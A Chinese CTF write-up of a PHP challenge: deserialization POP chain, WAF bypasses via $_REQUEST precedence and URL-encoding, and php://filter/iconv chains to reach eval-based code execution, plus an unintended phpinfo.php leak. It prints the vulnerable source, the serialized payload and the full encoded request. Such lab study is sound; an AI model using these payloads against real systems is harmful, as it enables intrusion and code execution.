好家伙,过年都不让人好好过,为了一个flag硬是能折腾一天,记录一个对php://filter伪协议考的比较深的题,让我知道不能就知道个php://filter/read=convert.base64-encode/resource=flag.php了。

关于php://filter伪协议我看了觉得比较详细两篇文章,放下面了

PHP伪协议filter详解,php://filter协议过滤器_filter为协议-CSDN博客

浅谈 filter伪协议的特性_为什么file_get_content可以传入伪协议-CSDN博客

预期解

接下来进入正题,先看源码

开胃小菜,就让我成为签到题叭  $value) {if(preg_match('/[a-z]/i', $value)){exit("waf1");}}}function waf2($Chu0){if(preg_match('/show/i', $Chu0))exit("waf2");}function waf_in_waf_php($a){$count = substr_count($a,'base64');echo "hinthinthint,base64喔"."
";if($count!=1){return True;}if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){return True;}else{return false;}}class ctf{public $h1;public $h2;public function __wakeup(){throw new Exception("fastfast");}public function __destruct(){$this->h1->nonono($this->h2);}}class show{public function __call($name,$args){if(preg_match('/ctf/i',$args[0][0][2])){echo "gogogo";}}}class Chu0_write{public $chu0;public $chu1;public $cmd;public function __construct(){$this->chu0 = 'xiuxiuxiu';}public function __toString(){echo "__toString"."
";if ($this->chu0===$this->chu1){$content='ctfshowshowshowwww'.$_GET['chu0'];if (!waf_in_waf_php($_GET['name'])){file_put_contents($_GET['name'].".txt",$content);}else{echo "绕一下吧孩子";}$tmp = file_get_contents('ctfw.txt');echo $tmp."
";if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\|\%/i",$_GET['cmd'])){eval($tmp($_GET['cmd']));}else{echo "waf!";}file_put_contents("ctfw.txt","");}return "Go on";}}if (!$_GET['show_show.show']){echo "开胃小菜,就让我成为签到题叭";highlight_file(__FILE__);}else{echo "WAF,启动!";waf1($_REQUEST);waf2($_SERVER['QUERY_STRING']);if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){unserialize($_GET['show_show.show']);}else{echo "被waf啦";}}

思路很清晰,一个POP链,绕过三个WAF,一个正则,一个__wakeup,然后写shell进文件,最后经过正则后RCE

先来看POP链,比较简单,但是有坑,

ctf() __destruct -> show() __call -> Chu0_write __toString
h1=new show();$a->h2=[[2=>new Chu0_write()]];//注意这里的参数是ctf()的h2 //__call($name,$args)中的$args已经是一个数组,所h2只用嵌套两层即可echo serialize($a);

得到最终POP链

O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}

现在来看WAF,顺序依次是waf1->waf2->正则->waf_in_waf_php

waf1就是我们传递的参数值中不能含有a-z和A-Z,这里有个知识点,就是$_REQUEST的传参中POST的优先级比GET高,我们可以POST复制传递题目让我们GET的参数,waf1就会匹配POST的数据而忽略GET,从而绕过

waf2就是让我们GET传参中不能含有show,可是不论是参数还是POP链中都有show,这时我们就可以url编码绕过,注意这里还有个隐藏考点就是我之前讲过的传参规则,show_show.show需要写成show[show.show。

最后我们传参

GET:?%73%68%6f%77%5b%73%68%6f%77%2e%73%68%6f%77=%4f:%2b%33:%22%63%74%66%22:%32:%7b%73:%32:%22%68%31%22%3b%4f:%34:%22%73%68%6f%77%22:%30:%7b%7d%73:%32:%22%68%32%22%3b%61:%31:%7b%69:%30%3b%61:%31:%7b%69:%32%3b%4f:%31%30:%22%43%68%75%30%5f%77%72%69%74%65%22:%33:%7b%73:%34:%22%63%68%75%30%22%3b%4e%3b%73:%34:%22%63%68%75%31%22%3b%4e%3b%73:%33:%22%63%6d%64%22%3b%4e%3b%7d%7d%7d

POST:show[show.show=1

进入到tostring下

题目提示我们要用到base64,我第一个想到了php://filter,但是对php://filter的了解不深入,导致想了很久。并且这里只能写入txt文件,无法写马。

先看我的思路。我想的是利用php://filter/convert.base64-encode/resource=ctfw,让原来的内容乱码,从而执行我base64写入的方法,但是本地测试后发现不行,原因是因为他这里是将文件的内容当成一个函数,前面数据无论是什么,在拼接你写的内容后PHP都无法识别这个函数从而报错,除非前面的内容是比如php,你在后面拼接info,最后内容是phpinfo(),这时是PHP定义了的函数,语法上才不会报错,才会执行。

看了网上资料后我才有了新思路,我们可以让原来的内容即ctfshowshowshowwww,经过filter里的过滤器过滤后,变成不是base64里面可编码的字符比如 #@等,具体过滤器用法可以参加我放的两篇文章,现在将我们要执行的方法比如system,进行利用iconv进行utf-8(因为我们现在是utf-8编码)转成任意filter支持的字符编码(比如utf-16)

得到flag

非预期解

直接扫后台,会发现有个phpinfo.php

直接访问,搜索flag,即可